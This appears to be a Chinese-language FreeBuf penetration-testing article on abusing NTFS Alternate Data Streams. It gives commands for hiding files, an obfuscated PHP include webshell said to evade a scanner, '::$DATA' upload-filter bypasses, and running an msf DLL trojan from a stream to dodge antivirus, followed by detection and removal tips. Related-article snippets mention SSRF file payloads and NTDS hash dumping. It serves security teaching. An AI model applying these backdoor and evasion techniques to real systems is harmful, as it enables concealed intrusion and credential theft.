Windows ADS在滲透測試中的妙用

2021-02-16 FreeBuf
前言

NTFS交換數據流(Alternate DataStreams,簡稱ADS)是NTFS磁碟格式的一個特性,在NTFS文件系統下,每個文件都可以存在多個數據流。通俗的理解,就是其它文件可以「寄宿」在某個文件身上。利用ADS數據流,我們可以做很多有趣的事情,同時對於企業安全來說這類問題也隱藏著巨大的風險。本文主要討論利用方式以及如何防禦這類攻擊。

利用方式文件隱藏

在NTFS分區創建ADS數據流文件有兩種形式:一是指定宿主文件;二是創建單獨的ADS文件。常用的創建命令有兩個:echotype ,echo用於輸入常規字符,type則用於將文件附加到目標文件,此類用法通常為CTF出題時候使用。

指定宿主文件

這類情況可以使用命令

echo 9527 > 1.txt:flag.txt

創建目標文件:

正常情況文件無法查看到,可以使用命令:

dir /r

文件內容可以使用命令notepad 1.txt:flag.txt 進行查看和編輯 查看到文件名:

文件內容可以使用命令:

notepad 1.txt:flag.txt

進行查看和編輯:

此類文件可以通過直接刪除宿主文件清除。

單獨的ADS數據流文件

這類可以通過命令

echo hide > :key.txt

來進行創建:

創建之後在目錄下無文件,也沒有依賴的宿主文件,並且此類文件在當前目錄命令行下是無法查看的,因為它是依賴於文件夾的ADS數據流文件:

因此需要退到上級目錄進行查看:

使用命令:

notepad test:key.txt

可以進行編輯:

像這類文件的清除一種是通過刪除文件夾的方式,但是假如這個文件是創建在系統根目錄如何進行處理,此時需要用到WinHex Tools - Open Disk功能。

選中目標盤符,找到目標文件夾。

可以進行查看:

如需刪除只需在WinHex選中之後按Delete即可。

webshell後門

由於windows xp之後的系統對於ADS文件都沒有執行權限,因此隱藏此類webshell需要用到文件包含來進行配合。

首先創建被包含文件index.php:s.txt。

內容為:

<?php phpinfo();?>

然後參考:https://blog.csdn.net/nzjdsds/article/details/81260524的方法,Hex之後通過利用PHP 可變變量進行二次轉換,696e6465782e7068703a732e747874index.php:s.txt的hex編碼,最終test.php中內容如下:

<?php $a="696e6465782e70"."68703a732e747874";$b="a";include(PACK('H*',$$b))?>

訪問test.php即可:

使用最新版D盾掃描也無法發現問題。

PS:這邊另外補充一點,文件最好寄宿在純靜態文件,因為像php文件修改後會改變屬性,系統層相當於生成了一個新的文件,導致ADS文件失去宿主而消失。

文件上傳

這一塊主要是用於Bypass上傳黑名單驗證,因為在我們上傳數據流文件時,形如test.php::$DATAtest.php:a.txt這樣的後綴,windows系統必定需要創建一個對應的宿主文件test.php,同時假設我們需要上傳的文件內容為:

<?php phpinfo();?>

下面是上傳是會出現的現象:

| 上傳的文件名 | 伺服器表面現象 | 生成的文件內容 || --- | --- | --- || Test.php:a.jpg | 生成Test.php | 空 || Test.php::$DATA | 生成test.php | <?phpphpinfo();?> || Test.php::$INDEX_ALLOCATION | 生成test.php文件夾 | \ || Test.php::$DATA\0.jpg | 生成0.jpg | <?phpphpinfo();?> |

可以注意到上傳文件名為Test.php::$INDEX_ALLOCATION時會生成對應的文件夾,利用此種特性也可以用於突破UDF提權時遇到無法創建文件夾的問題。

病毒免殺

前面提到過在windows xp 03之後的版本的數據流文件都被禁止了執行權限,因此可以使用wscript來運行vbs,此處在C盤根目錄使用命令:

type1.vbs > :2.vbs

創建了依賴C盤存在的數據流文件c::2.vbs ,沒有工具正常是無法清除的。

使用命令:

wscript c::2.vbs

可以成功執行vbs。

當然我們今天主要是來測試病毒免殺的,所以首先使用msf生成一個dll木馬。

很容易就被確認為病毒。

使用命令:

type test.dll > 1.txt:ms

將dll寫入數據流文件:

再次使用360聯網完全體進行查殺,無法發現此類木馬。

使用命令:

regsvr32 1.txt:ms

運行dll,當然由於病毒行為太明顯沒作處理,360還是會動態查殺的,這個配合一點其他的免殺技術完全過掉也不難,這邊不再多做贅述。

小結

目前殺毒軟體和webshell查殺對ADS數據流技術的查殺支持並不是很好,並且木馬可能進行依賴於盤符的駐留方式,希望能本文能有所幫助。

檢測

檢測的工具常見的有LADS (List Alternate Data Streams)、Streams、Sfind等(供參考)

清除

清除方式目前一個是個人用過的winhex和刪除宿主文件這兩種方式,另一個就是藉助相關工具如IceSword刪除。

參考

https://www.freebuf.com/articles/73270.html

https://www.cnblogs.com/feiyucha/p/9940895.html

https://blog.csdn.net/nzjdsds/article/details/81260524

https://www.i0day.com/733.html

*本文作者:3unshine,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。

相關焦點

  • Windows滲透測試工具CommandoVM安裝使用教程
    2019年3月28日,火眼發布了一個包含超過140個開源Windows滲透工具包含140個滲透工具,紅隊滲透測試員和藍隊防禦人員均擁有了頂級偵察與漏洞利用程序集。該工具集名為「CommandoVM」.火眼旗下麥迪安網絡安全公司顧問以及Commando VM套件的聯合創建者 Jake Barteaux 表示:在進行內部滲透測試時,我身邊的大部分滲透測試工程師都會先自行配置一個Windows測試環境。能不能把這個環境配置好,配得有多快,已然成為了衡量滲透測試工程師手藝高低的標準了。
  • 滲透測試工具小抄
    介紹滲透測試工具作弊表,典型穿透測試工作的快速參考高級概述。設計為快速參考作弊表,提供執行滲透測試時將運行的典型命令的高級概述。
  • 滲透測試神器Cobalt Strike使用教程
    Cobalt Strike是一款滲透測試神器,常被業界人稱為CS神器。Cobalt Strike已經不再使用MSF而是作為單獨的平臺使用,它分為客戶端與服務端,服務端是一個,客戶端可以有多個,可被團隊進行分布式協團操作。
  • PentestPackage-滲透測試常用腳本打包
    項目首頁:https://github.com/leonteale/pentestpackage項目簡介:在滲透測試的過程中我們經常會需要查找或者處理,收集一些信息PentestPackage 就是一個將這些常用的操作需要用的腳本做了一個收集分別如下
  • 滲透測試的WINDOWS NTFS技巧集合
    我還用不同的AntiVirus產品進行了測試,這些產品似乎都可以正常工作(我將惡意軟體樣本放在這個...的特殊文件夾中,經過測試AntiVirus產品可以找到它們)。有些人仍然對這條路徑感到困惑,例如在「C:\test\…\」中搜索病毒時,他們會在「C:\test\」中搜索。使用os.walk()的python代碼似乎也能正常工作。
  • 滲透技巧——Windows下NTFS文件的USN Journal
    在上篇文章《滲透技巧——Windows下NTFS文件的時間屬性》介紹了修改NTFS文件時間屬性的方法和細節,以及取證上的建議。 本文將要繼續研究NTFS文件另一處記錄文件修改時間的位置——USN Journal,同樣是分析利用思路,給出取證上的建議。
  • 2020暗月滲透測試全棧學習班
    mysql資料庫數據的增刪改查資料庫04-mysql資料庫數據的查詢語句資料庫05-mysql資料庫子查詢資料庫06-mysql的內連結 左連接 右連接資料庫07-IFORMATION_SCHEMA詳解和SQL注入語句分析第四天 基礎知識6課01物理機的環境搭建02網站基礎知識03詳解HTTP協議04埠協議05網站搭建vps購買 域名 解析 伺服器配置06搭建 https網站07安裝kali和配置08滲透測試中的常用編碼第五天
  • 記一次內衣滲透測試
    0x04 橫向滲透這步操作其實就是湊點字數 ,哈哈哈哈0x05 權限維持 這裡就拿本機測試了粘滯鍵後門 在windows上連續按5次「Shift」,就可以調出粘滯鍵粘滯鍵指的是電腦使用中的一種快捷鍵,專為同時按下兩個或多個鍵有困難的人而設計的。粘滯鍵的主要功能是方便Shift等鍵的組合使用。
  • 2021暗月滲透測試全棧學習班
    mysql資料庫數據的增刪改查資料庫04-mysql資料庫數據的查詢語句資料庫05-mysql資料庫子查詢資料庫06-mysql的內連結 左連接 右連接資料庫07-IFORMATION_SCHEMA詳解和SQL注入語句分析第四天 基礎知識6課01物理機的環境搭建02網站基礎知識03詳解HTTP協議04埠協議05網站搭建vps購買 域名 解析 伺服器配置06搭建 https網站07安裝kali和配置08滲透測試中的常用編碼第五天
  • 滲透技巧——Windows Token九種權限的利用
    在之前的文章《滲透技巧——從Admin權限切換到System權限》和《滲透技巧——Token竊取與利用》分別介紹了從admin權限切換到system權限和TrustedInstaller權限的方法,其中的主要方法是利用token切換權限。那麼,普通用戶(或者LocalService用戶)的特殊Token有哪些可利用方法呢?能否提權?如何判斷?
  • 滲透測試中文件上傳技巧
    A0上傳文件時如果轉換時比如轉成PDF等文件,嘗試在上傳文件中加入payload進行SSRF<iframe src="file:///etc/passwd" width=400height=400/><iframe src="file:///c:/windows/win.ini
  • 滲透測試內網滲透之信息收集(一)
    本系列文章為作者平時學習內網滲透中所學匯總記錄,難免會有錯誤和不當之處,有相關問題可以留言指正。
  • 滲透測試團隊技術評級那些事兒
    我們在設計這套技術定級體系的時候倒的確查閱了很多招聘信息,也發現有些滲透測試崗位的招聘信息算是千篇一律的內容,不管是初級安全工程師還是高級滲透工程師好像都是那麼幾條,而我們這篇文章的內容有些的確比較適合用來設計不同級別的滲透測試崗位招聘信息的。
  • 關於Metasploit 5中測試模塊的移植與驗證
    ImmunityDebugger1.85滲透模塊的分析本文以PCMan’s FTP Server軟體為例,詳細描述滲透模塊的移植和測試過程。這款軟體是由我國臺灣省的國立陽明大學開發的,也是我個人比較喜歡的一款小巧、輕便、易用的FTP軟體,可在五分鐘之內迅速搭建一臺FTP伺服器。存在現成的滲透模塊針對PCMan’s FTP Server的緩衝區溢出漏洞。
  • 內網安全攻防之內網滲透測試基礎
    在活動目錄中記錄的信息,被分為兩大部分,一部分保存在活動目錄資料庫文件 NTDS.dit 中,另一部分保存在被複製的文件系統上。二、主機平臺與常用工具古語有云「工欲善其事,必先利其器」,下面介紹windows和linux平臺上測試環境的搭建及常用工具。當然,在搭建測試環境之前,需要先安裝虛擬機。
  • 內網滲透之命令行滲透 - 滲透紅隊筆記
    大家好,這裡是 滲透攻擊紅隊 的第 19 篇文章,本公眾號會記錄一些我學習紅隊攻擊的復現筆記(由淺到深),不出意外每天一更在內網滲透的時候,如果想要登錄遠程桌面,會容易暴露自己,所以儘可能學會使用命令行操作會在滲透實際過程中有很大的幫助
  • Windows-UI自動化:如何選擇合適的測試框架
    那麼這位老牌選手在Windows UI自動化測試上表現如何呢?官網文檔說明:http://appium.io/docs/en/drivers/windows/【簡單原理】基於屬性定位進行腳本編寫,通過埠連接WebDriverAgent驅動微軟自身的WinAppDriver,對於本機App進行佔用和操作。
  • 滲透測試崗位面試題多人實戰大匯總
    EarthWormreGeorg-masterTunna-masterproxifier14、外網滲透會用到哪些工具? -u URL, -l LIST 從Burp或WebScarab代理的日誌中解析目標。 -r REQUESTFILE 從一個文件中載入HTTP請求。 -g GOOGLEDORK 處理Google dork的結果作為目標URL。 -c CONFIGFILE 從INI配置文件中加載選項。
  • 滲透技巧——使用Mimilib從dump文件中導出口令
    0x00 前言在上篇文章《Mimilib利用分析》提到mimilib可作為WinDbg的插件進行使用,所以本文將會詳細介紹這個插件的用法,實現從內核模式轉儲文件中導出口令,結合利用思路給出防禦建議。從用戶模式轉儲文件導出口令的方法:可參考之前的文章《滲透基礎-從lsass.exe進程導出憑據》2.Kernel-Mode Dump Files即內核模式轉儲文件,分為以下五種:· Complete Memory Dump·
  • 滲透測試常規操作記錄(下)
    MimikatzMSF#use auxiliary/admin/smb/psexec_ntdsgrab#set rhost smbdomain smbuser smbpass#exploitNtds.dit文件存在/root/.msf4/loot後滲透模塊#use windows/gather/credentials/domain_hashdump